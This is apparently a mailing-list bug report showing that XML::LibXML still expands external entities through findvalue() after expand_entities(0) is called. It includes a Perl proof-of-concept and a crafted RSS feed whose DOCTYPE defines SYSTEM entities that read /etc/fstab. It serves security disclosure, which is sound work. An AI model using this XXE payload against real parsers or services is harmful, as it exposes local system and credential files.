Subject: | $parser->expand_entities(0) allows entity expansion in findvalue(), elsehwere? |
The following malicious RSS exposes the contents of /etc/fstab despite
expand_entities(0) having been called. $d->toString() correctly leaves
the entity unexpanded, but $d->findvalue() still expands external
entities. The RSS example is based on this year-old article:
http://searchsecuritychannel.techtarget.com/generic/0,295582,sid97_gci1304703,00.html
#!perl
use warnings;
use strict;
use XML::LibXML;
my $p = XML::LibXML->new();
$p->expand_entities(0);
$p->no_network(1);
my $d = $p->parse_string(do { local $/; <DATA> });
print $d->findvalue("//description"), "\n";
exit;
__DATA__
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY fstab SYSTEM "file:/etc/fstab">
<!ENTITY fstab2 SYSTEM "file:///etc/fstab">
]>
<rss version="2.0">
<channel>
<title>My attack RSS feed showing /etc/fstab</title>
<description>this is file:/etc/fstab: &fstab; and this is
file:///etc/fstab: &fstab;</description>
<item>
<title>/etc/fstab</title>
<description>file:/etc/fstab: &fstab; file:///etc/fstab:
fstab;</description>
<link>http://example.com</link>
</item>
</channel>
</rss>